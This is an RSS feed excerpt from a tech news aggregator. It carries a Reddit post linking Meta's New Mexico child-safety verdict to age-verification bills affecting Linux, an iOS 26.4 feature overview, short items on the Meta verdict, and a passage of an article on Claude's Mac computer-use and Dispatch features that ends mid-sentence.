<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>A few weeks ago I <a href="https://www.reddit.com/r/linux/comments/1rmhxk1/i_pulled_the_actual_bill_text_from_5_state_age/">posted a bill text comparison</a> showing that the age verification laws moving through US state legislatures are copy-pasted from two templates — one funded by Meta through the Digital Childhood Alliance, the other covering every operating system including Linux. The core argument was straightforward: Meta faces massive COPPA liability for knowingly allowing children on its platforms, and these bills are engineered to shift that liability to app stores and OS providers via safe harbor clauses.</p> <p>Today a jury in Santa Fe put a dollar figure on the problem Meta is trying to make disappear.</p> <h2>What happened</h2> <p>A 12-member jury <a href="https://www.reuters.com/sustainability/boards-policy-regulation/jury-orders-meta-pay-375-mln-new-mexico-lawsuit-over-child-sexual-exploitation-2026-03-24/">found Meta liable</a> on two counts under New Mexico's Unfair Practices Act. They concluded Meta made false and misleading statements about platform safety and engaged in unconscionable trade practices exploiting the vulnerabilities of children. The jury found thousands of individual violations and imposed $375 million in penalties — the statutory maximum. Deliberations took one day after a seven-week trial.</p> <h2>How the case was built</h2> <p>In 2023 the New Mexico AG created a fake profile for a 13-year-old girl. It was immediately flooded with predatory contact. Over six weeks of trial the jury saw internal Meta documents showing employees raised child safety concerns that leadership didn't act on. They watched a recorded deposition from Zuckerberg. Meta's defense was that it discloses risks and works to remove harmful content. The jury didn't buy it.</p> <h2>Why this connects to the bill text I posted</h2> <p>In my original post I laid out the COPPA math. 33 state AGs documented over 1.1 million reports of under-13 Instagram users. At $53,088 per COPPA violation, that's ~$58B in theoretical exposure. Meta's defense has been that it doesn't have "actual knowledge" a user is under 13.</p> <p>The New Mexico jury just found that Meta <em>did</em> know — and <em>didn't act</em>.</p> <p>The App Store Accountability Act, the template Meta is pushing through the Digital Childhood Alliance in 20+ states, fixes this. Under ASAA, app stores verify age and send a flag to developers. The safe harbor clause says developers are "not liable" if they relied in good faith on age category data from an app store. Meta stops being the entity that knows. Apple and Google become the ones holding the bag.</p> <h2>The scale of what's coming</h2> <ul> <li><strong>New Mexico was one state.</strong> 40+ others have filed similar suits.</li> <li><strong>Prosecutors asked for $2B.</strong> The jury awarded $375M — the statutory max.</li> <li><strong>A second trial phase in May</strong> will decide whether Meta must make structural platform changes, including potentially implementing age verification.</li> <li><strong>COPPA 2.0 passed the Senate unanimously this month.</strong></li> <li><strong>Meta's stock went up 5% after the verdict.</strong> The market thinks this is manageable. Multiply it by 40 states and it isn't.</li> </ul> <h2>Meanwhile, the compliance pressure is already hitting Linux</h2> <p>While Meta lobbies to make this someone else's problem, the FOSS ecosystem is already being forced to respond to the laws Meta helped create:</p> <ul> <li><strong>systemd</strong> merged <a href="https://github.com/systemd/systemd/pull/40954">PR #40954</a> — a birthDate field in JSON user records, explicitly citing California AB 1043, Colorado SB26-051, and Brazil's Lei 15.211/2025. It'll ship in systemd 261.</li> <li><strong>Flatpak</strong> has draft parental controls that would consume the age data systemd now stores.</li> <li><strong>Canonical</strong> has its lawyers reviewing compliance. Ubuntu developers are discussing local age-bracket flags exposed via API or config file — no online ID checks, no central registry.</li> <li><strong>System76</strong> published a <a href="https://blog.system76.com/post/system76-on-age-verification/">detailed position</a> pushing back against the bills. CEO Carl Richell met with the Colorado senator who co-authored SB26-051 and is pushing to get open source excluded.</li> <li><strong>MidnightBSD</strong> added a license clause: California residents are not authorized to use it for desktop use effective January 1, 2027.</li> <li><strong>Adenix GNU/Linux</strong> declared it will not implement age checks and is not for use in regions with OS age verification laws.</li> <li><strong>DHH's Omarchy Linux</strong> called the California law "unenforceable."</li> <li><strong>Fedora, NixOS, and Linux Mint</strong> all have active community threads working through what compliance even looks like for a volunteer project.</li> <li><strong>FreeDOS</strong> is discussing it too — an OS that doesn't have user accounts, a web browser, or an app store.</li> </ul> <p>Every one of these projects has zero employees dedicated to regulatory compliance. Meta has 87 federal lobbyists. The bills Meta funded are now consuming volunteer developer time across the entire Linux ecosystem while Meta's own platforms remain exempt from equivalent requirements. That's not an unintended consequence. That's the design.</p> <h2>The timeline</h2> <ul> <li><strong>2023:</strong> NM AG runs undercover investigation</li> <li><strong>2024:</strong> Digital Childhood Alliance launches, starts pushing ASAA template bills</li> <li><strong>2025:</strong> California signs AB 1043 (the OS-level template). Meta's federal lobbying spend hits $26.3M.</li> <li><strong>March 2026:</strong> COPPA 2.0 passes Senate. Systemd merges a birthDate field. A jury in Santa Fe finds Meta liable for exactly the conduct the lobbying is designed to insulate against.</li> </ul> <p>Everything in this post is sourced from the jury verdict, enrolled bill text, IRS filings, Senate lobbying disclosures, and news coverage. Same as last time.</p> <p>The deeper funding investigation by upper-up is on <a href="https://github.com/upper-up/meta-lobbying-and-other-findings">GitHub</a>.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/aaronsb"> /u/aaronsb </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1s2v7yf/a_375m_receipt_new_mexico_jury_just_confirmed_why/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1s2v7yf/a_375m_receipt_new_mexico_jury_just_confirmed_why/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[iOS 26.4 is Here, Everything You Need to Know About]]></title>
<description><![CDATA[Apple has released iOS 26.4, and while it skips the long-rumored Siri upgrade, the update still brings a wide mix of practical features, design tweaks, and security fixes. You get meaningful upgrades across Apple Music, Podcasts, accessibility, and system-level tools, along with small quality-of-...]]></description>
<link>https://tsecurity.de/de/3378472/ios-mac-os/ios-264-is-here-everything-you-need-to-know-about/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3378472/ios-mac-os/ios-264-is-here-everything-you-need-to-know-about/</guid>
<pubDate>Wed, 25 Mar 2026 01:52:29 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released iOS 26.4, and while it skips the long-rumored Siri upgrade, the update still brings a wide mix of practical features, design tweaks, and security fixes. You get meaningful upgrades across Apple Music, Podcasts, accessibility, and system-level tools, along with small quality-of-life changes that improve everyday use.



Here’s a clear breakdown of what actually matters in iOS 26.4 and how it changes your iPhone experience.



Apple Music gets smarter and more useful



Apple focused heavily on Apple Music in this update, and it shows. The changes improve discovery, personalization, and playlist management.



Playlist Playground adds AI playlist creation







The headline feature is Playlist Playground. It lets you create playlists using simple text prompts.



You can type something like:




“late night focus music”



“gym hype songs”



“90s road trip hits”




The system generates a full playlist with:




A custom title



Around 25 songs



A description




You can refine results by adding more prompts or manually editing the list. This feature is powered by Apple’s AI capabilities and is currently limited to the United States.



Concert discovery and better UI







Apple Music also introduces a “Concerts Near You” section. It shows:




Local shows



Tour dates



Artist-based recommendations




Apple partners with platforms like Ticketmaster to power this.







At the same time, album and playlist pages now use full-screen artwork, which makes the app feel more immersive.



Small but useful improvements




Add a song to multiple playlists at once



Better playlist management flow



More visual polish across the app




These are small changes, but they save time if you manage a large library.



New emoji finally arrive







iOS 26.4 adds eight new emoji:




Trombone



Treasure chest



Distorted face



Hairy creature



Fight cloud



Orca



Landslide



Ballet dancer




There are also:




New skin tone options



Gender-neutral variants




Apple usually updates emoji once a year, and this batch adds more expressive options for messaging.



Podcasts now support better video playback







Apple Podcasts receives a major upgrade with improved video support.



You can now:




Watch and listen seamlessly



Download video podcasts for offline viewing



Switch between audio and video instantly




The system uses HTTP Live Streaming to adjust quality based on your connection. This ensures smooth playback on both Wi-Fi and cellular networks. (9to5Mac)



This change brings Podcasts closer to YouTube and Spotify in terms of video experience.



Offline music recognition is finally here







iOS 26.4 upgrades song recognition in Control Center.



Now, your iPhone can:




Identify songs without internet



Store results



Show details once you reconnect




This is useful when you hear a song in places with poor connectivity.



Family Sharing gets a long-needed fix







Apple fixes a major limitation in Family Sharing.



Before:




Only one payment method for all members




Now:




Each adult can use their own payment method




This makes purchases cleaner and avoids billing confusion.



Security gets stronger by default



Stolen Device Protection is now always on







Apple now enables Stolen Device Protection by default.



This feature:




Requires Face ID or Touch ID for sensitive actions



Adds a security delay for certain changes



Protects accounts even if someone knows your passcode




It directly addresses theft scenarios where attackers access passwords and banking apps.



Accessibility improvements feel more refined



Apple continues improving accessibility in meaningful ways.



Reduce Bright Effects







This setting reduces:




Flashing UI elements



Bright animations




It helps users who are sensitive to visual effects.



Better motion control



The Reduce Motion setting now works more consistently with Liquid Glass animations.



Easier captions control



You can now adjust subtitles and captions directly from the media player interface.



Messages and system UI changes



These are smaller updates, but they improve usability.



Messages app




New animations for conversations



Slightly smoother interactions




Apple Account redesign








Unified account hub across apps



Cleaner layout for purchases and updates




App Store tweaks








Search moved to the top



Updates section redesigned




New widgets and customization tools



Ambient Music widget







You can now add an Ambient Music widget to:




Home Screen



Lock Screen




It supports categories like:




Sleep



Focus



Wellbeing




This turns your iPhone into a quick ambient sound player.



Wallpaper and watch face updates







Apple redesigns:




Wallpaper Gallery



Watch Face Gallery




You can now browse and download options more easily.



Freeform Creator Studio adds pro tools



Freeform gets a Creator Studio upgrade with:




A content hub for assets



Graphics, photos, illustrations



AI-powered image tools




This is aimed at creators who want more advanced collaboration tools inside Apple’s ecosystem.



Reminders become more urgent



The Reminders app adds a new “Urgent” section.



You can:




Mark reminders as urgent



Trigger stronger alerts



Get clearer notifications




This helps prioritize important tasks without clutter.



Camera and audio upgrades



Audio Zoom improves video recording



A new Audio Zoom feature lets the microphone focus on the subject when you zoom in.



This means:




Clearer subject audio



Reduced background noise




It improves video quality without extra hardware.



CarPlay gets AI support







CarPlay now supports third-party AI apps like:




ChatGPT



Gemini



Claude




You can:




Ask questions hands-free



Use voice-based interactions




However:




These apps cannot control car functions



No wake word support yet




This is an early step toward smarter in-car assistants.



Health and system updates



Health app improvements








New Average Bedtime metric



Better sleep tracking insights



Blood oxygen data added to graphs




Hotspot tracking








Data usage visible in Personal Hotspot section




iCloud web settings




New “Allow Search” toggle for iCloud.com




Performance and bug fixes



Keyboard accuracy fix







Apple fixes a major typing bug where:




Characters were missed during fast typing



Autocorrect struggled to keep up




Users report improved typing accuracy after the update.



Security patches



iOS 26.4 fixes over 35 vulnerabilities across:




Safari



Messages



System services




Apple recommends updating as soon as possible to stay protected.



How to install iOS 26.4



Follow these steps:




Open Settings



Tap General



Tap Software Update



Download and install




The update is available for:




iPhone 11 and later




What’s missing



The biggest absence is the upgraded Siri experience.



Reports suggested a smarter, AI-powered Siri, but it did not make it into this release.



Verdict



iOS 26.4 is not a headline-grabbing update, but it improves real-world usage in many areas.



You get:




Smarter Apple Music features



Better security by default



Useful system tweaks



Improved accessibility




The update focuses on refinement rather than big changes, and that makes the iPhone feel more polished in daily use.]]></content:encoded>
</item>
<item>
<title><![CDATA[New Mexico just handed Meta its first courtroom defeat over child safety, and the rest of the country is watching]]></title>
<description><![CDATA[The dollar amount isn’t as important as the fact that this is the first jury verdict of its kind against Meta over harm to young people.]]></description>
<link>https://tsecurity.de/de/3378421/it-nachrichten/new-mexico-just-handed-meta-its-first-courtroom-defeat-over-child-safety-and-the-rest-of-the-country-is-watching/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3378421/it-nachrichten/new-mexico-just-handed-meta-its-first-courtroom-defeat-over-child-safety-and-the-rest-of-the-country-is-watching/</guid>
<pubDate>Wed, 25 Mar 2026 01:16:27 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The dollar amount isn’t as important as the fact that this is the first jury verdict of its kind against Meta over harm to young people.]]></content:encoded>
</item>
<item>
<title><![CDATA[Jury rules against Meta, orders $375 million fine in major child safety trial]]></title>
<description><![CDATA[A jury in New Mexico has found Meta liable for violating the state's consumer protection laws in a high-profile civil trial over child exploitation and other safety issues. One day after closing arguments in the weeks-long trial concluded, the jury ruled against Meta on every count and ordered th...]]></description>
<link>https://tsecurity.de/de/3378317/it-nachrichten/jury-rules-against-meta-orders-375-million-fine-in-major-child-safety-trial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3378317/it-nachrichten/jury-rules-against-meta-orders-375-million-fine-in-major-child-safety-trial/</guid>
<pubDate>Tue, 24 Mar 2026 23:46:30 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A jury in New Mexico has found Meta liable for violating the state's consumer protection laws in a high-profile civil trial over child exploitation and other safety issues. One day after closing arguments in the weeks-long trial concluded, the jury ruled against Meta on every count and ordered the company to pay $375 million. </p><p>The case was brought by New Mexico's attorney general <a target="_blank" class="link" href="https://www.engadget.com/meta-faces-another-lawsuit-over-child-safety-164732291.html" data-i13n="cpos:1;pos:1">in 2023</a> and centered around allegations that Meta knew its platform put children at risk of exploitation and mental health harms and failed to put safety measures in place. In the end, the jury ruled that Meta was liable for both counts of violating New Mexico's consumer protection laws for misleading people in the state about the safety of its services. It imposed a penalty of $375 million, the maximum amount under the law based on the number of violations. </p><p>During the trial, jurors were shown numerous internal documents throughout Meta's history. These included the results <a target="_blank" class="link" href="https://www.engadget.com/facebook-research-instagram-teen-mental-health-slides-003452675.html" data-i13n="cpos:2;pos:1">of research</a> into mental health issues facing teens, and email exchanges in which Meta executives discussed safety problems like sextortion, self harm content and grooming. Prosecutors argued that these documents showed Meta knew children were experiencing harms on its apps, despite public statements that it prioritized safety. </p><p>In a statement, Meta spokesperson Andy Stone said the company would appeal the verdict. "We respectfully disagree with the verdict and will appeal. We work hard to keep people safe on our platforms and are clear about the challenges of identifying and removing bad actors or harmful content," he said. "We will continue to defend ourselves vigorously, and we remain confident in our record of protecting teens online.”</p><p>The verdict isn't the end of New Mexico's case against Meta. The state will argue that Meta is a "public nuisance" at a bench trial (a trial with a judge and no jury) that's expected to begin in May. In a statement, Attorney General Raul Torrez called the verdict a "historic victory" for families affected by Meta's safety lapses.“Meta executives knew their products harmed children, disregarded warnings from their own employees, and lied to the public about what they knew. Today the jury joined families, educators, and child safety experts in saying enough is enough."</p><p>The New Mexico trial has been closely watched as it's among the first of many cases against Meta over child safety issues. A jury is currently deliberating in a separate trial in Los Angeles over <a target="_blank" class="link" href="https://www.engadget.com/social-media/meta-really-wants-you-to-believe-social-media-addiction-is-not-a-thing-130000927.html" data-i13n="cpos:3;pos:1">social media addiction</a>. A coalition of <a target="_blank" class="link" href="https://www.engadget.com/forty-one-states-sue-meta-for-harming-the-mental-health-of-its-youngest-users-162521184.html" data-i13n="cpos:4;pos:1">dozens of other states</a> have also brought a lawsuit against the company for harming teens.</p><p></p>This article originally appeared on Engadget at https://www.engadget.com/social-media/jury-rules-against-meta-orders-375-million-fine-in-major-child-safety-trial-224215209.html?src=rss]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic’s Claude can now control your Mac, escalating the fight to build AI agents that actually do work]]></title>
<description><![CDATA[Anthropic on Monday launched the most ambitious consumer AI agent to date, giving its Claude chatbot the ability to directly control a user's Mac — clicking buttons, opening applications, typing into fields, and navigating software on the user's behalf while they step away from their desk.The upd...]]></description>
<link>https://tsecurity.de/de/3378210/it-nachrichten/anthropics-claude-can-now-control-your-mac-escalating-the-fight-to-build-ai-agents-that-actually-do-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3378210/it-nachrichten/anthropics-claude-can-now-control-your-mac-escalating-the-fight-to-build-ai-agents-that-actually-do-work/</guid>
<pubDate>Tue, 24 Mar 2026 22:32:19 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> on Monday launched the most ambitious consumer AI agent to date, giving its Claude chatbot <a href="https://claude.com/blog/dispatch-and-computer-use">the ability to directly control a user's Mac</a> — clicking buttons, opening applications, typing into fields, and navigating software on the user's behalf while they step away from their desk.</p><p>The update, available immediately as a research preview for paying subscribers, transforms Claude from a conversational assistant into something closer to a remote digital operator. It arrives inside both <a href="https://www.anthropic.com/webinars/future-of-ai-at-work-introducing-cowork">Claude Cowork</a>, the company's agentic productivity tool, and <a href="https://claude.com/product/claude-code">Claude Code</a>, its developer-focused command-line agent. Anthropic is also extending <a href="https://support.claude.com/en/articles/13947068-assign-tasks-to-claude-from-anywhere-in-cowork">Dispatch</a> — a feature introduced last week that lets users assign Claude tasks from a mobile phone — into Claude Code for the first time, creating an end-to-end pipeline where a user can issue instructions from anywhere and return to a finished deliverable.</p><p>The move thrusts Anthropic into the center of the most heated competition in artificial intelligence: the scramble to build agents that can act, not just talk. <a href="https://openai.com/">OpenAI</a>, <a href="https://www.google.com/">Google</a>, <a href="https://www.nvidia.com/en-us/">Nvidia</a>, and a growing swarm of startups are all chasing the same prize — an AI that operates inside your existing tools rather than beside them. And the stakes are no longer theoretical. Reuters reported Sunday that OpenAI is actively courting private equity firms in what it described as an "<a href="https://www.reuters.com/business/openai-sweetens-private-equity-pitch-amid-enterprise-turf-war-with-anthropic-2026-03-23/">enterprise turf war with Anthropic</a>," a battle in which the ability to ship working agents is fast becoming the decisive weapon.</p><p>The new features are available to <a href="https://www.anthropic.com/news/claude-pro">Claude Pro subscribers</a> (starting at $17 per month) and <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Max subscribers</a> ($100 or $200 per month), but only on macOS for now.</p><h2><b>Inside Claude's computer use: How Anthropic's AI agent decides when to click, type, and navigate your Mac</b></h2><p>The <a href="https://venturebeat.com/orchestration/anthropic-says-claude-code-transformed-programming-now-claude-cowork-is">computer use feature</a> works through a layered priority system that reveals how Anthropic is thinking about reliability versus reach.</p><p>When a user assigns Claude a task, it first checks whether a direct connector exists — integrations with services like <a href="https://gmail.com/">Gmail</a>, <a href="https://drive.google.com/">Google Drive</a>, <a href="https://slack.com/">Slack</a>, or <a href="https://calendar.google.com/">Google Calendar</a>. These connectors are the fastest and most reliable path to completing a task, according to Anthropic's documentation. If no connector is available, Claude falls back to navigating the Chrome browser via Anthropic's <a href="https://chromewebstore.google.com/detail/claude/fcoeoabgfenejglbffodgkkbkcdhcgfn?hl=en-US&amp;pli=1">Claude for Chrome extension</a>. Only as a last resort does Claude interact directly with the user's screen — clicking, typing, scrolling, and opening applications the way a human operator would.</p><p>This hierarchy matters. As Anthropic's <a href="https://support.claude.com/en/articles/14128542-let-claude-use-your-computer-in-cowork">help center documentation explains</a>, "pulling messages through your Slack connection takes seconds, but navigating Slack through your screen takes much longer and is more error-prone." Screen-level interaction is the most flexible mode — it can theoretically work with any application — but it is also the slowest and most fragile.</p><p>When Claude does interact with the screen, it takes screenshots of the user's desktop to understand what it's looking at and determine how to navigate. That means Claude can see anything visible on the screen, including personal data, sensitive documents, or private information. Anthropic trains Claude to avoid engaging in stock trading, inputting sensitive data, or gathering facial images, but the company is candid that "these guardrails are part of how Claude is trained and instructed, but they aren't absolute."</p><p>There is nothing to configure. No API keys, no terminal setup, no special permissions beyond what the user grants on a per-app basis. As Ryan Donegan, who handles communications for Anthropic, put it in a press briefing: "Download the app and it uses what's already on your machine."</p><h2><b>Claude Dispatch turns your iPhone into a remote control for AI-powered desktop automation</b></h2><p>The real strategic play may not be computer use itself but how Anthropic is pairing it with Dispatch.</p><p><a href="https://support.claude.com/en/articles/13947068-assign-tasks-to-claude-from-anywhere-in-cowork">Dispatch</a>, which launched last week for Cowork and now extends to Claude Code, creates a persistent, continuous conversation between Claude on your phone and Claude on your desktop. A user pairs their mobile device with their Mac by scanning a QR code, and from that point forward, they can text Claude instructions from anywhere. Claude executes those instructions on the desktop — which must remain awake and running the Claude app — and sends back the results.</p><p>The use cases Anthropic envisions range from mundane to ambitious: having Claude check your email every morning, pull weekly metrics into a report template, organize a cluttered Downloads folder, or even compile a competitive analysis from local files and connected tools into a formatted document. Scheduled tasks allow users to set a cadence once — "every Friday," "every morning" — and let Claude handle the rest without further prompting.</p><p>Anthropic's <a href="https://claude.com/blog/dispatch-and-computer-use">blog post</a> frames the combination of Dispatch and computer use as something of a paradigm shift. "Claude can use your computer on your behalf while you're away," the company wrote, offering examples like creating a morning briefing while a user commutes, making changes in an IDE, running tests, and submitting a pull request.</p><p>One early user on social media captured the broader ambition succinctly. Gagan Saluja, who describes himself as working with <a href="https://claude.ai/">Claude</a> and <a href="https://aws.amazon.com/">AWS</a>, wrote: "combine this with /schedule that just dropped and you've basically got a background worker that can interact with any app on a cron job. that's not an AI assistant anymore, that's infrastructure."</p><h2><b>First hands-on tests reveal Claude's computer use works about half the time — and that may be the point</b></h2><p>Anthropic is calling this a <a href="https://claude.com/blog/dispatch-and-computer-use">research preview</a> for a reason. Early hands-on testing suggests the feature works well for information retrieval and summarization but struggles with more complex, multi-step workflows — particularly those that require interacting with multiple applications.</p><p>John Voorhees of <a href="https://www.macstories.net/stories/hands-on-with-claude-dispatch-for-cowork/">MacStories</a>, the Apple-focused publication, published a <a href="https://www.macstories.net/stories/hands-on-with-claude-dispatch-for-cowork/">detailed hands-on</a> evaluation of Dispatch the same day as the announcement. His results were mixed. Claude successfully located a specific screenshot on his Mac, summarized the most recent note in his Notion database, listed notes saved that day, added a URL to Notion, summarized his most recently received email, and recalled a screenshot from earlier in the session. But it failed to open the Shortcuts app on his Mac, send a screenshot via iMessage, list unfinished Todoist tasks (due to an authorization error), list Terminal sessions, display a food order from an active Safari tab, or fetch a URL from Safari using AppleScript.</p><p>Voorhees' verdict was measured: Dispatch "can find information on your Mac and works with Connectors, but it's slow and about a 50/50 shot whether what you try will work." He added that it is "not good enough to rely on when you're away from your desk" but called it "a step in the right direction."</p><p>Meanwhile, on <a href="https://github.com/anthropics/claude-code/issues/26018">GitHub</a>, users are already surfacing technical issues. <a href="https://github.com/anthropics/claude-code/issues/26018">One bug report</a> filed against Claude Code describes a scenario where the Read tool attempts to process multiple large PDF files in a single turn without checking whether the combined payload exceeds the 20MB API limit, causing the request to fail outright. The issue, which has been tagged as a bug specific to macOS, highlights the kinds of rough edges that come with shipping an early preview of a complex agentic system.</p><h2><b>OpenClaw, NemoClaw, and the startup swarm: Why Anthropic is racing to ship AI computer use now</b></h2><p>Anthropic's timing is not accidental. The company is shipping <a href="https://venturebeat.com/ai/anthropic-new-ai-can-use-computers-like-a-human-redefining-automation-for-enterprises">computer use capabilities</a> into a market that has been rapidly reshaped by the viral rise of OpenClaw, the open-source framework that enables AI models to autonomously control computers and interact with tools.</p><p><a href="https://openclaw.ai/">OpenClaw</a> exploded earlier this year and proved that users wanted AI agents capable of taking real actions on their computers — and that they were willing to tolerate rough edges to get them. The framework spawned an entire ecosystem of derivative tools — what the community calls "claws" — that turned autonomous computer control from a research curiosity into a product category almost overnight. Nvidia entered the fray last week with NemoClaw, its own framework designed to simplify the setup and deployment of OpenClaw with added security controls. Anthropic is now entering a market that the open-source community essentially created, betting that its advantages — tighter integration, a consumer-friendly interface, and an existing subscriber base — can compete with free.</p><p>Smaller startups are also pushing into the space. <a href="https://coasty.ai/">Coasty</a>, which offers both a desktop app and browser-based AI agent for Mac and Windows, markets itself as providing "full browser, desktop, and terminal automation with a native experience." One user on social media directly pitched Coasty in the replies to Anthropic's announcement, claiming it offers "much better user experience and more accurate" results — a sign of how crowded and competitive the computer-use agent space has become in a matter of months.</p><p>The competitive dynamics extend beyond just computer use. Reuters has reported that OpenAI is sweetening its pitch to private equity firms amid what the wire service described as an "<a href="https://www.reuters.com/business/openai-sweetens-private-equity-pitch-amid-enterprise-turf-war-with-anthropic-2026-03-23/">enterprise turf war with Anthropic</a>." The two companies are locked in an escalating battle for enterprise customers, and the ability to offer agents that can actually operate within a company's existing software stack — not just chat about it — is increasingly the differentiator.</p><h2><b>Prompt injection, screenshot surveillance, and the unsolved security risks of letting AI control your desktop</b></h2><p>If the competitive pressure explains why <a href="https://www.anthropic.com/">Anthropic</a> shipped this feature now, the safety caveats explain why the company is hedging its bets.</p><p><a href="https://support.claude.com/en/articles/14128542-let-claude-use-your-computer-in-cowork">Computer use runs outside the virtual machine</a> that Cowork normally uses for file operations and commands. That means Claude is interacting with the user's actual desktop and applications — not an isolated sandbox. The implications are significant: a misclick, a misunderstood instruction, or a prompt injection attack could have real consequences on a user's live system.</p><p>Anthropic has built several layers of defense. Claude requests permission before accessing each application. Some sensitive apps — investment platforms, cryptocurrency tools — are blocked by default. Users can maintain a blocklist of applications Claude is never allowed to touch. The system scans for signs of prompt injection during computer use sessions. And users can stop Claude at any point.</p><p>But the company is remarkably forthright about the limits of these protections. "Computer use is still early compared to Claude's ability to code or interact with text," Anthropic's <a href="https://claude.com/blog/dispatch-and-computer-use">blog post states</a>. "Claude can make mistakes, and while we continue to improve our safeguards, threats are constantly evolving."</p><p>The <a href="https://support.claude.com/en/articles/14128542-let-claude-use-your-computer-in-cowork">help center documentation</a> goes further, explicitly warning users not to use computer use to manage financial accounts, handle legal documents, process medical information, or interact with apps containing other people's personal information. Anthropic also advises against using Cowork for HIPAA, FedRAMP, or FSI-regulated workloads.</p><p>For enterprise and team customers, there is an additional wrinkle. <a href="https://support.claude.com/en/articles/13345190-get-started-with-cowork">Cowork conversation history</a> is stored locally on the user's device, not on Anthropic's servers. But critically, enterprise features like audit logs, compliance APIs, and data exports do not currently capture Cowork activity. This means that organizations subject to regulatory oversight have no centralized record of what Claude did on a user's machine — a gap that could be a dealbreaker for compliance-sensitive industries.</p><p>One user flagged this concern on social media with particular precision. <a href="https://x.com/NomanInnov8/status/2036239036201718143">NomanInnov8 wrote</a>: "when the agent IS the user (same mouse, keyboard, screen), traditional forensic markers won't distinguish human vs AI actions. How are we thinking about audit trails here?"</p><p>The question is not academic. As AI agents gain the ability to take real-world actions — sending emails, modifying files, interacting with financial systems — the ability to distinguish between human and machine actions becomes a foundational requirement for governance, liability, and compliance. Anthropic has not yet answered it.</p><h2><b>From excitement to anxiety: How users are reacting to Claude's new power over their machines</b></h2><p>The social media reaction to the announcement split roughly into three camps: those excited about the productivity implications, those concerned about the security risks, and those frustrated that they cannot yet use it.</p><p>The enthusiasm was genuine and widespread. "Legit just got the update and used it with dispatch — exactly the feature I wanted," <a href="https://x.com/psychloneAI/status/2036197292324118559">wrote one X user</a>. Mike Joseph called the speed of Anthropic's feature releases "fantastic." <a href="https://x.com/barn_north/status/2036202599209423306">Another X user noted</a> the significance for non-technical users: "Very exciting for non-tech folks who don't want or know how to set up OpenClaw."</p><p>But the security concerns were equally pointed. One user, posting as <a href="https://x.com/profannyti/status/2036382468702675411">Profannyti</a>, wrote: "Granting that kind of control over your personal device doesn't sit right. It's almost like letting someone you barely know take the wheel and trusting everything will be fine." </p><p>As <a href="https://www.engadget.com/ai/claude-code-and-cowork-can-now-use-your-computer-210000126.html">Engadget reported</a>, experts have warned that one major concern with agentic AI is that "it can take major, sometimes dramatic actions quickly and with little warning," and that such tools "can also be hijacked by malicious actors."</p><p>Several users flagged practical frustrations as well. Windows users — excluded from the macOS-only research preview — expressed predictable dismay. Others reported that the new features were consuming their usage quotas at alarming rates. One Max 20x subscriber paying $200 per month complained that Dispatch was "<a href="https://x.com/FDatframe84228/status/2036483850696581123">eating my quota like crazy</a>," consuming 10% of their allowance in a single prompt. Another user linked to the GitHub bug report about the 20MB payload issue, calling the situation "quite urgent."</p><h2><b>Anthropic's enterprise playbook: Plugins, pricing tiers, and the bet that AI agents can replace entire workflows</b></h2><p>The pricing structure reveals where Anthropic sees the real market. While individual Pro users get access to Cowork, the company notes that agentic tasks "consume more capacity than regular chat" because "Claude coordinates multiple sub-agents and tool calls to complete complex work." Heavy users are nudged toward Max plans at $100 or $200 per month.</p><p>For teams, the pricing starts at $20 per seat per month for groups of five to 75 users. Enterprise pricing is custom and includes admin controls to toggle Cowork on or off for the organization.</p><p>The plugin architecture is where Anthropic's enterprise ambitions become clearest. Plugins bundle skills, connectors, and sub-agents into a single install that turns Claude into a domain specialist — for legal work, finance, brand voice management, or other functions. Anthropic already lists plugins for legal workflows (contract review, NDA triage), finance (journal entries, reconciliation, variance analysis), and brand voice (analyzing existing documents to enforce guidelines). The company is betting that the combination of computer use, Dispatch, scheduled tasks, and domain-specific plugins will create an agent capable enough to justify enterprise procurement.</p><p>The testimonials Anthropic has gathered suggest the pitch is landing with at least some organizations. <a href="https://claude.com/product/cowork">Larisa Cavallaro</a>, identified as an AI Automation Engineer, described connecting Cowork to her company's tech stack and asking it to identify engineering bottlenecks. Claude, she said, returned "an interactive dashboard, team-by-team efficiency analyses, and a prioritized roadmap." <a href="https://claude.com/product/cowork">Joel Hron</a>, a CTO, offered a more philosophical framing: "The human role becomes validation, refinement, and decision-making. Not repetitive rework."</p><h2><b>The AI industry's defining tension: Shipping fast enough to win, slow enough to be safe</b></h2><p>Anthropic is shipping these capabilities at a moment of extraordinary velocity in the AI industry — and extraordinary uncertainty about what that velocity means.</p><p>The company's own research quantifies the transformation underway. Its <a href="https://www.anthropic.com/research/economic-index-march-2026-report">economic index</a>, published in March 2026, tracks how AI is reshaping labor markets and productivity across sectors. The data suggests that AI adoption is accelerating unevenly, with knowledge workers in technology, finance, and professional services seeing the most dramatic shifts.</p><p>Anthropic is also navigating significant external pressures beyond the product arena. Recent reporting has <a href="https://www.cnbc.com/2026/03/23/sen-warren-dod-anthropic-blacklist-hegseth.html">highlighted scrutiny from Senator Elizabeth Warren</a> regarding Anthropic's defense and supply chain relationships — a reminder that the company's ambitions to build powerful autonomous agents exist within an increasingly complex political and regulatory environment.</p><p>For now, the <a href="https://claude.com/blog/dispatch-and-computer-use">computer use</a> feature remains early and imperfect. Complex tasks sometimes require a second attempt. Screen interaction is meaningfully slower than direct integrations. The audit trail gap for enterprise users is a genuine liability. And the fundamental tension between giving an AI agent enough access to be useful and limiting that access enough to be safe remains unresolved.</p><p>But Anthropic is not waiting for perfection. The company is building in public, shipping capabilities it openly describes as incomplete, and betting that users will tolerate a 50 percent success rate today in exchange for the promise of something transformative tomorrow. It is a calculation that only works 